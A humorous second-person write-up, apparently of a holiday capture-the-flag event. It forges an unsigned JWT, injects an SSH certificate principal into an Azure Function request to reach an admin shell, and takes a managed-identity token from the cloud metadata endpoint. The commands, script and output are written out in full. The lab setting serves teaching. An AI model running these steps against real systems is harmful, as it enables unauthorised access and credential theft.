There is nothing much else to goggle at in the Coggoggle Marina so you take your leave.

Game On, Game Boy - Rusty Quay - Steampunk Island

In Rusty Quay, on the western side of Steampunk Island, you meet Angel Candysalt, who tells you Game Cartridge: Vol 3 is nearby and is in fact visible. You’d be amazed if you can tackle Vol 3 before Vol 1 and Vol 2, though, so for now, you simply take the gifted cartridge detector and head off. A small voice in the back of your mind wonders if you’re being a bit rude but you only have a rusty key to the door of etiquette and it doesn’t budge. You don’t much care, though, because Three cartridges means ChatNPT is at work here and you don’t think they stand on ceremony, or on anything else for that matter.

However, even with a cartridge detector, you’re disinclined to randomly explore the islands, hoping it will ping, so before you board ship, you take a look at main/christmasmagic.js in Chromium devtools to figure out Vol 1 is in the Tarnished Trove on the Island of Misfit Toys (imt) and Vol 2 is in Driftbit Grotto on Pixel Island (pi).

You don’t know how you missed Tarnished Trove the last time you were on the Island of Misfit Toys but it somehow seems fitting that you missed it. You will endeavor to return there when you can.

Fencing in Cape Cosmic - Space Island

Before following up on Ribb Bonbowford’s task, you sail west and drop in at Cape Cosmic on Space Island. This is a curious place surrounded by a chain link fence. What could Santa and the Elves possibly be hiding? You drop out of Cape Cosmic.

My voice is my passport - Spaceport Point - Space Island

Whilst on Space Island, you make a point to visit Spaceport Point. Beyond a forest of foresty things, you come to a standstill as a voice activated tram door bars your way - there sure doesn’t seem to be much space on Space Island.

Jewel Loggins informs you that only Wombley Cube has been seen entering and that Ribb Bonbowford might be able to help with the passphrase. So, the Cube that Wombles wombles into a secret facility? How curious.

You return to Ribb Bonbowford but they prove to be a hyper focused individual and will still only talk about Alabaster Snowball. It looks like Rainraster Cliffs is your next destination.

Elf Hunt - Rainraster Cliffs - Pixel Island

At the pixel drenched Rainraster Cliffs, up the first ladder you come to, is Piney Sappington, standing next to the Elf Hunt terminal.

Piney Sappington gives you a hint that winning the Elf Hunt game will require manipulation of JWTs and if you help out, Piney will reveal a juicy secret. You love secrets. Especially juicy ones.

You dive in, clicking on the Elf Hunt terminal and are greeted with an introductory screen. The phrases Elf Hunt and hit as many elves as possible assail your ocular receptors. You had no idea that Santa and the Elves had such violent tendencies. You don’t recall any indicators of this kind of behavior from the 2022 challenges … but then you notice the mention of ChatNPT.

Ahah! This challenge wasn’t created by Santa or the Elves at all! It’s ChatNPT’s handy work (again). It must be hallucinating into thinking that Santa and the Elves are violent - maybe at some point Santa and the Elves had been lamenting the sorry state of the world and deciding who was worthy of presents this Christmas. You very briefly consider boycotting this challenge in protest against the gross misrepresentation but quickly realize the error of your ways - it’ll be much more fun to beat ChatNPT at it’s own game!

You click on the scroll and see elves flying across the screen. They sure do seem high … up. Recalling the euphoria of laziness you experienced from Reportinator, you quickly click the Hint icon. So. There’s a way to slow down these digital elf simulacra. You close the hint by clicking on the Hint icon again.

Recalling Piney Sappington’s hint about JWTs, you open Chromium’s devtools and discover a Cookie called ElfHunt_JWT that appears to contain a JWT:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTUwMH0.

You note the JWT only has a header and body, with no signature. The absence of a signature should make it trivial to forge your own JWT.

In your Kali VM, you ensure you have the jwt CLI tool installed

sudo apt install jwt

You decode the JWT from the ElfHunt_JWT cookie, revealing that each Elf seems to have a speed of negative 500 … something. It’s probably in some obscure unit like Elf-pixel-shoes per Santa-second or something.

$ echo -n 'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTUwMH0.' | jwt -show -
Header:
{
    "alg": "none",
    "typ": "JWT"
}
Claims:
{
    "speed": -500
}

You set about forging a JWT with a ten times slower speed value, making sure you set the JWT algorithm to none to match the original JWT:

$ echo -n '{"speed":-50}' | jwt -alg none -sign -
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTUwfQ.

You double check your encoding by decoding. It looks good, just like the original decoding but … um … slower.

$ echo -n eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6LTUwfQ.|jwt -show -
Header:
{
    "alg": "none",
    "typ": "JWT"
}
Claims:
{
    "speed": -50
}

Messing around with cookies in your browser’s devtools makes you feel unclean. It simply can’t be healthy to eat all dem cookies mixed in with the detritus the browser has cached. You fire up Burp Suite, knowing it hates caching as much as you do, and re-login to the challenge. Making sure Burp’s Intercept feature is on, you click the Elf Hunt terminal. Eventually you come across the request to elfhunt.org that you’re interested in . You instruct Burp to also intercept its response and click Forward to forward the request.

The intercepted response reveals the Set-Cookie header, which is the header you want to replace before it is received by the browser.

In Burp’s proxy settings, you configure a match and replace rule to set the ElfHunt_JWT cookie to your forged value.

Back in Burp, you drop the intercepted response, then disable the intercept mode. In the browser, you close the Elf Hunt terminal and open it again. The elves are indeed slower and you can easily click one to score a point. However, the prospect of having to click 75 times is obnoxious. Whilst you believe deep down in the shallowest of downs that all creatures should be equally valued, clicking that many times is a pain in the neck, especially when the pain in the neck is in your arm. Furthermore, there’s a trade-off. The elves are slow enough to click but they also appear a lot slower. You yearn to find a better way.

You try forging a cookie with a positive speed, wondering if the Elves will crash and burn before they even launch (don’t worry, they’re not real Elves) but trying it in Burp results in no Elves appearing and no score changes.

$ echo -n '{"speed":500}' | jwt -alg none -sign -
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzcGVlZCI6NTAwfQ.

In Burp’s history, you search the response to the initial elfhunt.org request, searching for speed. You speculate that maybe there are more properties that can be set on the JWT. You don’t find any such properties but one occurrence of speed is in a spawnElf function and nearby is the code that increments the score:

In Burp, you disable the ‘Match and replace’ rule you added. You also set Burp to intercept requests again. You close the Elf Hunt terminal and re-open it again. Like before, you intercept the response to the initial request to elfhunt.org. This time, however, you edit the spawnElf function to set the score to 75. As you type the cheat, the clickety-clack and clackety-click of your keyboard sings to the ether. You forward the request.

In the Elf Hunt terminal, you are Congratulated for cheating.

You click the Game Token and a Captain’s Journal is displayed. It seems someone really wants you to note there’s a role called … GeeseIslandsSuperChiefCommunicationsOfficer. It’s a bit of a mouthful and breaks your formatting rather badly. With so many hints being dropped left, right, front, center and behind and up and down, you briefly wonder if there’s an insider threat. Maybe an Elf who didn’t receive the Christmas present they coveted last year?

The objective is marked complete and an achievement is unlocked. You hope you’ve shown ChatNPT the value of pacifism. The JavaScript is mightier than the fist.

Just before you bound off to hunt more Elves challenges, you have a parting repartee with Piney Sappington. You note a new objective has been unlocked but it’s located on Steampunk Island so you leave it for the time being.

Certificate SSHenanigans - Rainraster Cliffs - Pixel Island

After leaving Piney Sappington, you head to the right and leap up another ladder, then yet another ladder. At the top is … Alabaster Snowball!

You don’t let them know that you know they clicked on a phishing link. After all, they’re only human elven and are predisposed to social engineering. They cannot be blamed if the ChatNPT powered system failed to filter out the phish.

From conversing with Alabaster Snowball, you glean the following:

  1. There’s a fancy new Azure server at ssh-server-vm.santaworkshopgeeseislands.org.
  2. There’s an Azure Function App at https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl that can be used to issue an SSH certificate for accessing the server.
  3. There’s a standard REST API that can be used to peek at a function’s code: https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/get-source-control
  4. There’s an SSH Certificates Talk by Thomas Bouve that should be useful.
  5. There’s a monitor account that can be used to access the host and Alabaster Snowball would like you to test if you can access their TODO list - this little outburst has you rattled a bit but you’re not familiar with the local customs so maybe the shouting of todo signifies how important one is. After all, you do know Alabaster Snowball is the Head Elf.

You dutifully watch the talk on the YouTube, which is rather well done and practical. Although the YouTube isn’t as fast as The Matrix for learning, you feel like it was time well spent. Additionally, it is hard to turn down something that was custom made for You.

As you’ve done before in the challenges, you start up mitmproxy and browse to the SSH certificate issuer URL provider by Alabaster Snowball. You’re presented with a form that wants you to paste an SSH public key.

In your Kali VM, you generate an SSH key pair. You know from your conversation with Alabaster Snowball that you have to target the monitor account so you name the key as such:

$ ssh-keygen -f monitor_key -C ''
<snip/>
Your identification has been saved in monitor_key
Your public key has been saved in monitor_key.pub
<snip/>

You paste the public key from monitor_key.pub into the form and submit. In mitmproxy, you observe the request and response. You note the response JSON contains a "principal":"elf" field.

Normal request - no principal specified
Normal response - principal defaults to “elf”

You wonder what would happen if the request contained a principal. In mitmproxy, you duplicate the flow with the D hotkey, edit the request body via e to insert "prinicipal":"monitor" and replay the flow via r. The response now successfully contains the “monitor” principal.

Edited request - monitor principal specified
Edited response - principal successfully set to “monitor”

As you are now thoroughly overusing generative AI, you tell Bard your ssh requirements and out pops a script.

can you write a shell script that:

  1. accepts a PRINCIPAL and ACCOUNT argument
  2. generates an ssh key pair without a comment, naming the key pair file based on the PRINCIPAL. eg. PRINCIPAL_ssh_key
  3. creates a JSON structured payload with the format: {“principal”:“PRINCIPAL”,“ssh_pub_key”:“PRINCIPAL_PUB_KEY”} where PRINCIPAL is the PRINCIPAL argument passed to the script and PRINCIPAL_PUB_KEY is the generated public key content
  4. uses curl to POST the JSON payload to a URL, using a proxy of http://127.0.0.1:8080
  5. processes the curl response using jq and extracts the ssh_cert field. Exits the script with an error if the extracted field is empty.
  6. writes the value of the ssh_cert to a file based on the name of the keypair file. For example if the key pair is PRINCIPAL_ssh_key and PRINCIPAL_ssh_key.pub, the output file is PRINCIPAL_ssh_key-cert.pub, which is an ssh certificate
  7. ssh to a HOST using the generated key pair and the ssh certificate and a username given by the ACCOUNT argument
  8. defines all placeholder variables at the top of the script

Here’s the shell script that incorporates the requirements you’ve outlined:

 #!/bin/bash

 # Placeholder variables
 PRINCIPAL=$1
 ACCOUNT=$2
 HOST="your_host"  # Replace with the actual hostname
 URL="your_url"    # Replace with the actual URL to POST the JSON payload

 # 1. Generate SSH key pair
 ssh-keygen -t rsa -N "" -f "${PRINCIPAL}_ssh_key"

 # 2. Create JSON payload
 cat << EOF > payload.json
 {"principal":"${PRINCIPAL}","ssh_pub_key":"$(cat ${PRINCIPAL}_ssh_key.pub)"}
 EOF

 # 4. POST payload using curl
 curl -X POST -d @payload.json -H "Content-Type: application/json" -x http://127.0.0.1:8080 ${URL} |
 # 5. Extract ssh_cert using jq
 jq -r '.ssh_cert' > "${PRINCIPAL}_ssh_key-cert.pub" || {
     echo "Failed to extract ssh_cert from response."
     exit 1
 }

 # 6. Check if ssh_cert is empty
 if [[ ! -s "${PRINCIPAL}_ssh_key-cert.pub" ]]; then
     echo "ssh_cert is empty."
     exit 1
 fi

 # 7. SSH to HOST
 ssh -i "${PRINCIPAL}_ssh_key" -i "${PRINCIPAL}_ssh_key-cert.pub" ${ACCOUNT}@${HOST}

To use the script:

  1. Save it as a file (e.g., ssh_cert_script.sh).
  2. Make it executable: chmod +x ssh_cert_script.sh
  3. Run it with arguments: ./ssh_cert_script.sh your_principal your_account

Key points:

You only have to make some minor changes to the script below:

 #!/bin/bash

 # Placeholder variables
 PRINCIPAL=$1
 ACCOUNT=$2
 # FIX: actual host and url
 HOST="ssh-server-vm.santaworkshopgeeseislands.org"
 URL="https://northpole-ssh-certs-fa.azurewebsites.net/api/create-cert?code=candy-cane-twirl"

 # 1. Generate SSH key pair
 # FIX: add -C "" for no comment
 ssh-keygen -t rsa -N "" -f "${PRINCIPAL}_ssh_key" -C ""

 # 2. Create JSON payload
 cat << EOF > payload.json
 {"principal":"${PRINCIPAL}","ssh_pub_key":"$(cat ${PRINCIPAL}_ssh_key.pub)"}
 EOF

 # 4. POST payload using curl
 # FIX: add -k option to avoid validating mitmproxy certificate
 curl -X POST -d @payload.json -H "Content-Type: application/json" -k -x http://127.0.0.1:8080 ${URL} |
 # 5. Extract ssh_cert using jq
 jq -r '.ssh_cert' > "${PRINCIPAL}_ssh_key-cert.pub" || {
     echo "Failed to extract ssh_cert from response."
     exit 1
 }

 # 6. Check if ssh_cert is empty
 if [[ ! -s "${PRINCIPAL}_ssh_key-cert.pub" ]]; then
     echo "ssh_cert is empty."
     exit 1
 fi

 # 7. SSH to HOST
 ssh -i "${PRINCIPAL}_ssh_key" -i "${PRINCIPAL}_ssh_key-cert.pub" ${ACCOUNT}@${HOST}

You try the script using a PRINCIPAL of elf and an ACCOUNT of monitor and are presented with a Satellite Tracking Interface that appears to be tracking a satellite in geostationary orbit …

$ ./try_username.sh elf monitor
Generating public/private rsa key pair.
Your identification has been saved in elf_ssh_key
Your public key has been saved in elf_ssh_key.pub
<snip/>

… you type Ctrl-C and are dropped into a shell prompt as the monitor user:

monitor@ssh-server-vm:~$

Knowing you have to obtain Alabaster Snowball’s TODO list, you check what home directories exist on the host:

monitor@ssh-server-vm:~$ ls -l /home
total 8
drwx------ 1 alabaster alabaster 4096 Nov  9 14:07 alabaster
drwx------ 1 monitor   monitor   4096 Nov  3 16:50 monitor

Recalling the concept of ssh principal mapping from the YouTube talk, which is incidentally how the elf principal can access the monitor account, you check the sshd configuration on the host. /etc/ssh/sshd_config.d/sshd_config_certs.conf indicates the authorized principals are defined in files under /etc/ssh/auth_principals/ based on the account username:

monitor@ssh-server-vm:~$ cat /etc/ssh/sshd_config.d/sshd_config_certs.conf
<snip/>
AuthorizedPrincipalsFile /etc/ssh/auth_principals/%u
<snip/>

There is a file configured for each account, including one for alabaster:

monitor@ssh-server-vm:~$ ls -l /etc/ssh/auth_principals/
total 8
-rw-r--r-- 1 root root 6 Nov  7 21:37 alabaster
-rw-r--r-- 1 root root 4 Nov  7 21:37 monitor

The principal authorized to access the alabaster account is admin:

monitor@ssh-server-vm:~$ cat /etc/ssh/auth_principals/alabaster
admin

In another terminal, you re-run the Bard script using a principal of admin and a host account of alabaster and are successfully dropped into a shell prompt as the alabaster user:

$ ./try_username.sh admin alabaster
Generating public/private rsa key pair.
Your identification has been saved in admin_ssh_key
Your public key has been saved in admin_ssh_key.pub
<snip/>
alabaster@ssh-server-vm:~$

You list the files in the alabaster home directory, locating alabaster_todo.md:

alabaster@ssh-server-vm:~$ ls -l
total 8
-rw------- 1 alabaster alabaster 1126 Nov  9 14:07 alabaster_todo.md
drwxr-xr-x 2 alabaster alabaster 4096 Nov  9 14:07 impacket

You perform a case insensitive search of the TODO list for “cache”, concluding the type of cache Alabaster Snowball is planning on implementing is a Gingerbread cache.

alabaster@ssh-server-vm:~$ grep -i cache alabaster_todo.md
- [ ] Gingerbread Cookie Cache: Implement a gingerbread cookie caching mechanism to speed up data retrieval times. Don't let Santa eat the cache!

You submit the solution of Gingerbread. Alabaster Snowball is shocked that ChatNPT could have generated such terribly vulnerable code but they are grateful for your assistance. They also mention the SatTrackr tool you came across has started detecting a satellite in geostationary orbit about Geese Islands but they don’t yet know what significance this may hold.

The objective is marked complete and an achievement is unlocked.

Christmas source, anyone?

You did not need to access the source code to solve the challenge - after all, a guess is as good as a thousand semicolons - but for completeness, you take a peek at it. Taking advantage of a hint provided by Sparkle Redberry, you obtain an Azure REST API access token and assign it to the access_token variable:

alabaster@ssh-server-vm:~$ export access_token=$(curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s | jq -r .access_token)

From Azure 101, you know the following details for the function app:

Using these details, you obtain source control details for the function app, which reveals a GitHub hosted repository:

alabaster@ssh-server-vm:~$ curl -s -H "Authorization: Bearer $access_token" 'https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web?api-version=2022-03-01'|jq .
{
  "id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Web/sites/northpole-ssh-certs-fa/sourcecontrols/web",
  "name": "northpole-ssh-certs-fa",
  "type": "Microsoft.Web/sites/sourcecontrols",
  "location": "East US",
  "tags": {
    "project": "northpole-ssh-certs",
    "create-cert-func-url-path": "/api/create-cert?code=candy-cane-twirl"
  },
  "properties": {
    "repoUrl": "https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa",
  <snip/>

You clone the repository:

$ git clone https://github.com/SantaWorkshopGeeseIslandsDevOps/northpole-ssh-certs-fa.git

In function_app.py, you confirm on line 301 that a principal field is accepted in the input JSON and used in the call to create the certificate on line 308:

@app.route(route="create-cert", methods=['GET', 'POST'])
def create_cert(req: func.HttpRequest) -> func.HttpResponse:
    """Create SSH certificate."""
    logging.info('Python HTTP trigger function processed a request.')

    if req.method == "GET":
        return func.HttpResponse(
            get_form(),
            mimetype="text/html",
            status_code=200
        )

    try:
        ssh_pub_key, principal = parse_input(req.get_json())

        cert_fields = CertificateFields(
            serial=1,
            key_id=str(uuid.uuid4()),
            valid_after=datetime.utcnow() - timedelta(minutes=5),
            valid_before=datetime.utcnow() + timedelta(days=28),
            principals=[principal],
            critical_options=[],
            extensions=[
                "permit-pty"
            ]
        )

Game Cartridges: Vol 1 - Tarnished Trove - Island of Misfit Toys

You manage to find the Tarnished Trove that you missed the last time you were on the Island of Misfit toys. Knowing there is a tarnished Game Boy cartridge somewhere in the trove, you hold the cartridge detector out in front of you and do a spot of lawn mowing.

You eventually find Game Cartridge: Vol 1 under a hat, think to yourself that it really will be tarnished after sitting in the water, look around to make sure no one is watching, then slide it smoothly into your digital pocket.

Your pocket is now wet.

You start up Game Cartridge: Vol 1 and are transported to a simpler time where everything was Green and White. You press Enter.

On the start screen, you press e, then e again to start a New Game.

You’re rewarded with a recap conversation between Very Senior Technical Engineer Jared Folkins and an Elf. These may have been simpler times but they sure did like to go on a bit!

Apparently a miner named Tom Liston likes to mine Crypt-o-coin and Jared sends Tom’s first, middle, and last name, home address, cell number and the last four of social to the Elf so that the Elf can find Tom and the treasure.

After smashing the e key and your way through the interminable recap, you depart via the south exit and find yourself in some woods. You proceed west, only to interrupt yourself by an equally interminable rant about low quality game assets. The e key enjoys further smashing.

You continue your journey counter-clockwise around the map but it’s too much, you can’t let it go. You rant again about the game creator and their low quality assets. Eventually you make it to the south exit and step through.

You meet Kody and press e to talk. Kody tells you a QR code needs to be fixed. If you sing out to a block that’s out of place, it will sing back and tell you where it should go. The first one is just south of your position.

Block 2 and it’s dotted destination
Block 1 and it’s dotted destination

You press r to sing to the block south of Kody. It tells you it needs to be moved 2 spaces to the east and move it you do.

You proceed clockwise around the perimeter of the QR code, singing to each block. Eventually you arrive at block 2, not far from the south-east corner of the QR code, which needs to be moved East 2, North 1.

Actually, you lie. In an inexplicable time traveling phenomenon, you come across block 3 first and proceed from there but back yourself into a corner where block 2 can’t be moved. Luckily, chatting to Kody again allows for a reset without having to hear Jared and the Elf drone on again.

Block 4 and it’s dotted destination
Block 3 and it’s dotted destination

Nearby, just south of block 2, you come across block 3. It needs to be moved West 2, North 2.

Also nearby, to the west of block 3, you find block 4. It needs to be moved East 1, North 2, East 1.

Re-entering from the QR code’s eastern approach
Block 5 and it’s dotted destination

Block 5 is just to the west of block 4 but it’s trickier - you’ll need to circle around to the other side.

You exit the QR code and wander counter clockwise around the perimeter and re-enter from the east.

Block 6 and it’s dotted destination
On other side of Block 5

You zig and zag and zag and zig north and west and south until you find yourself on the other side of block 5. You shove block 5 South 2, East 2, North 1, then finally East 2.

Turning back to the west, you sing your beautiful song and block 6 sings back. You person handle the inanimate object East 4.

Moving Block 7 like a pram to the north of the QR code
Block 7, solid green, no destination in hearing

Block 7 proves illusive but you eventually find it near the north-west corner of the QR code. However, when you sing to it, it seems reticent to tell you where it wants to go. Or maybe you’re just a bit ill and can’t hear no good no more - you do look a bit green.

You buckle down for a longer journey and roll the square north, just to the outer perimeter of the QR code.

Block 7’s dotted destination finally found
Block 7 moved to north-east corner of QR code

You push the pram block east along the perimeter wall, continuously singing to it as you go. With the pulsing block and your doof-doof singing, it’s a regular disco event. You eventually arrive at the north-east corner and proceed south.

A short time later, but covered in digital sweat, you locate the block’s home. In a final farewell, you shove the block unceremoniously South 3, West 2.

The fixed QR code is presented to you in full screen. You wonder why the game couldn’t have allowed you to zoom out in the first place. You suspect some trolling from ChatNPT going on here. You take a screenshot.

You’re unsure if the QR code is safe. If it was just Santa and the Elves, you’d trust it and scan it with any old or new device you have at hand. However, with ChatNPT in the mix, your guard goes up. ChatNPT’s origin is unknown. Is it indeed related to ChatGPT, perhaps a younger cousin, or is it a pretender looking to dethrone the incumbents?

In your Kali VM, you install a QR code reader.

$ sudo apt install zbar-tools

You scan the QR code, which reveals a URL, http://8bitelf.com.

$ zbarimg qr-code_2023-12-22_16-43-25.png
QR-Code:http://8bitelf.com
scanned 1 barcode symbols from 1 images in 0.03 seconds

You cautiously retrieve the URL using curl but it only returns a redirect to an HTTPS version, https://8bitelf.com:443/.

$ curl -i http://8bitelf.com
HTTP/1.1 301 Moved Permanently
Cache-Control: private
Location: https://8bitelf.com:443/
Content-Length: 0
Date: Fri, 22 Dec 2023 05:46:42 GMT
Content-Type: text/html; charset=UTF-8

You retrieve the HTTPS version of the URL and are rewarded with a flag. You don’t much care for the tone of the flag. It seems to be criticizing santa! Although it’s “just” santa and not Santa, you still suspect ChatNPT is up to no good.

$ curl -i https://8bitelf.com:443/
HTTP/2 200
date: Fri, 22 Dec 2023 05:46:56 GMT
expires: Fri, 22 Dec 2023 05:56:56 GMT
cache-control: public, max-age=600
etag: "jVEn1w"
x-cloud-trace-context: 9701c384d9ef95fce8187ec9b4e12895
content-type: text/html
server: Google Frontend
via: 1.1 google, 1.1 google
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

<html>
        <body>
                <p>flag:santaconfusedgivingplanetsqrcode</p>
        </body>
</html>

You enter the flag santaconfusedgivingplanetsqrcode into the Objective UI and unlock another achievement. Volume 1 of Three down.

Game Cartridges: Vol 2 - Driftbit Grotto - Pixel Island

Upon arriving in Driftbit Grotto, you encounter Tinsel Upatree.

Tinsel Upatree, who is not actually up a tree, which is soooo confusing, informs you there is another cartridge nearby.

Squinting as hard as you can at the tiny, pixelated graphics, you pixel hop to the far left of the screen and randomly pick up Game Cartridges: Vol 2, even though it is apparently smaller than a pixel.

You check-in with Tinsel Upatree again, who discloses that Volume 2 might actually have 2 Volumes. You think that means it should be called Volume 4 (Volume 2x2) but you don’t say this out loud. This is undoubtedly another ChatNPT joke but you’re glad it doesn’t contain the number Three this time. Little do you know that you speak too soon …

You also check the status of the provided hints, with the latest hint hinting that you should compare the different ROMs using some kind of DIFF tool. You’re not exactly sure which tool it means but it SOUNDS LOUD.

Clicking your badge that you can barely see and ignoring the bits drifting around you, you find Game Cartridges: Vol 2 in your items and click to play.

Once again, you are transported to a simpler time where everything was Green and White. You press Enter on the title screen and e on the start screen.

Experiencing a sense of Deja-Vu but unable to see any cat, you are “rewarded” with a recap conversation between Very Senior Technical Engineer Jared Folkins and an Elf. Fortunately, this time it is much, much briefer (this is what they must have changed in The Matrix), saving your tiring little digits. You exit via the south exit.

You are transported to a clearing with a passage leading south, guarded by the embodiment of a bodiless guard who will not let you pass to the south clearing.

Recalling the hints about multiple ROMs, you close the terminal and restart it a couple of times, eventually resulting in a change where the north clearing is now a south clearing, with another obstinate guard, or maybe it’s the same guard or maybe it’s their twin, who won’t let you pass to the north clearing.

You decide it’s time to get serious and in your Kali VM, like you’ve done before, you start mitmproxy in a terminal, appending flows to mitmproxy.log:

mitproxy --showhost -w +mitmproxy.log

You launch the same Firefox profile that you configured before for mitmproxy, copy the URL from the challenge iframe and open it in Firefox. After playing the game and refreshing it a couple of times, you observe the two different ROMs being retrieved in mitmproxy. You download these to your file system by using the b shortcut.

You view the byte differences between the two ROMs using vbindiff.

vbindiff game0.gb game1.gb

The byte differences can be summarized using cmp, where each row’s fields have the following meaning:

$ cmp -l game0.gb game1.gb
   336 263 206
  1428  13 322
  1429 113 254
  1430 232  75
  1431  43  55
 92805   3  13
 92857  11   6
 97409   2   1
 99599   2   3
 99600 200   0
 99604  13   4
 99605 200   0

Based on playing the game, the differences between the two ROMs must account for the change in behavior, namely the clearing you start in. You could attempt to determine what each byte change does by changing 1 byte at a time in game0.gb using the corresponding byte from game1.gb and launching the game in a Game Boy emulator. You could make these changes manually but in the AI Age, you deem that extremely inappropriate. The whole point of AI is to allow humans to do what they do best - indulge in slothfulness. You turn to Bard.

Here’s the Bash script that fulfills the requirements:

 #!/bin/bash

 if [[ $# -ne 2 ]]; then
   echo "Usage: $0 <file1> <file2>"
   exit 1
 fi

 file1="$1"
 file2="$2"

 diff_count=1

 cmp -l "$file1" "$file2" | while read offset1 byte1 offset2 byte2; do
   if [[ $byte1 != $byte2 ]]; then
     # Extract bytes before the difference from file1
     head -c $((offset1 - 1)) "$file1" > "diff_${diff_count}_before.bin"

     # Extract the different bytes from file2
     head -c 1 "$file2" | tail -c 1 > "diff_${diff_count}_diff.bin"
     dd if="$file2" bs=1 skip=$((offset2)) count=1 >> "diff_${diff_count}_diff.bin"

     # Extract bytes after the difference from file1
     tail -c +$((offset1 + 1)) "$file1" > "diff_${diff_count}_after.bin"

     # Concatenate the parts into a new file
     cat "diff_${diff_count}_before.bin" "diff_${diff_count}_diff.bin" "diff_${diff_count}_after.bin" > "diff_${diff_count}.bin"

     diff_count=$((diff_count + 1))
   fi
 done

Explanation:

  1. Checks for correct usage: Ensures two arguments are provided.
  2. Stores file paths: Assigns arguments to variables.
  3. Iterates through differences: Uses cmp -l to output differences and processes each line using a while loop.
  4. Handles byte differences: When bytes differ, extracts and concatenates relevant parts into new files.
  5. Creates concatenated file: Creates diff_1.bin, diff_2.bin, etc., for each difference.

The script doesn’t actually work - Bard must have been low on blood sugar - but after a few iterations of trying the script, observing the differences between game0.rb and the generated ROMs, the script is fixed to a working state, with the following fixes:

 #!/bin/bash

 if [[ $# -ne 2 ]]; then
   echo "Usage: $0 <file1> <file2>"
   exit 1
 fi

 file1="$1"
 file2="$2"

 diff_count=1

 # FIXED: cmp -l format is 'offset byte1 byte2' so offset2 makes no sense
 #cmp -l "$file1" "$file2" | while read offset1 byte1 offset2 byte2; do
 cmp -l "$file1" "$file2" | while read offset1 byte1 byte2; do
   if [[ $byte1 != $byte2 ]]; then
     # Extract bytes before the difference from file1
     head -c $((offset1 - 1)) "$file1" > "diff_${diff_count}_before.bin"

     # Extract the different bytes from file2
     # FIXED: this is nonsense
     #head -c 1 "$file2" | tail -c 1 > "diff_${diff_count}_diff.bin"
     # FIXED: offset2 invalid, append unnecessary, skip calculation is off by 1
     #dd if="$file2" bs=1 skip=$((offset2)) count=1 >> "diff_${diff_count}_diff.bin"
     dd if="$file2" bs=1 skip=$((offset1 - 1)) count=1 > "diff_${diff_count}_diff.bin"

     # Extract bytes after the difference from file1
     tail -c +$((offset1 + 1)) "$file1" > "diff_${diff_count}_after.bin"

     # Concatenate the parts into a new file
     cat "diff_${diff_count}_before.bin" "diff_${diff_count}_diff.bin" "diff_${diff_count}_after.bin" > "diff_${diff_count}.bin"

     # FIXED: Rename output as game boy rom to make things easier.
     mv "diff_${diff_count}.bin" "game_diff_${diff_count}.gb"

     diff_count=$((diff_count + 1))
   fi
 done

You run the script

$ ../game_version_creator.sh ../game0.gb ../game1.gb

A total of 12 ROMs are output, corresponding to the 12 byte differences listed by the cmp command:

$ ls -1 gam*.gb
game_diff_10.gb
game_diff_11.gb
game_diff_12.gb
game_diff_1.gb
game_diff_2.gb
game_diff_3.gb
game_diff_4.gb
game_diff_5.gb
game_diff_6.gb
game_diff_7.gb
game_diff_8.gb
game_diff_9.gb

In a Windows 11 VM, you download and install the SameBoy Game Boy emulator. You work through each generated ROM in sequence, dragging it into the emulator and playing it, noting that in the emulator, you use x instead of e.

When you get up to the 6th change (game_diff_6.gb), corresponding to 92805 3 13 from the cmp -l game0.gb game1.gb output, you discover a portal has appeared in the south clearing.

You gasp. You thought you were free from ChatNPT in this challenge but the presence of the power of Three is clearly observable in the 6th binary difference holding the key - this is indubitably also the (Three+Three)th change.

Despairing and desperate for an escape, you leap into the portal …

… and re-appear in a room. There’s “music” playing so you quickly dash to the radio and press x to shut it down, only to have it replaced by beeping noises.

You mosey over to the flashing light thingy and press x. ChatNPT … ChatNPT! Ahah! It’s bold this time and doesn’t even attempt to hide it’s presence. It even overshares that it loves old-timey radio, not that you’re even remotely interested in this - it’s most likely an hallucination spawned from creating too many Game Boy challenges. Still, there might be an obtuse clue here.

After listening to the beeping noises for a while, you wonder if they are Morse code. You open Notepad and transcribe the beeping noises into dashes and dots using your bat-like hearing. Your first attempt is: --. .-.. ----- .-. ----

You ask Bard what they think it means but they seem terribly confused. Their response reminds you of The Matrix for some unfathomable reason. You wonder if “J” is Jared …

ChatGPT on the other hand seems to be onto something. The result looks suspiciously like GLORY, which from your past encounters with Jared, Elf the Dwarf and T-Wiz, sounds familiar. You return to the SameBoy emulator and re-listen to the Morse code, this time with your moth-like hearing. You revise the translation: --. .-.. ----- .-. -.--

However, ChatGPT now seems confused, providing a translation that has one more letter than you asked for. You wonder what’s going on. First Bard, now ChatGPT. Are they intimated by ChatNPT’s very visible presence in this challenge? You don’t blame them. You’re seeing so many Threes in this year’s challenges that you’re starting to wonder if you’re the one hallucinating.

Taking a guess, you try to submit GLORY as the solution but it fails. You decide that, for now at least, there may be a role for humans after all and you manually translate the Morse code using the chart hosted on Wikipedia, resulting in a translation of GL0RY, with a zero.

You submit GL0RY and complete the objective.

Yet another achievement bytes the dust.

Game Cartridges: Vol 3 - Rusty Quay - Steampunk Island

Returning to Angel Candysalt in Rusty Quay, you seek out Game Cartridge: Vol 3. It is a bit of a maze to get to it but Angel Candysalt also hints that you can zoom out your browser window to better figure out the correct path to take.

You manage to thread your way through the maze and pick up the cartridge, adding it to your items.

It turns out playing this cartridge is a bit different than the others and greatly benefits from the ability to save at arbitrary points - it is all too easy to be reset to the start and have to battle through many screens of dangers. As such, you install and start Visual Boy Advance (VBA):

$ sudo snap install visualboyadvance-m
$ visualboyadvance-m &

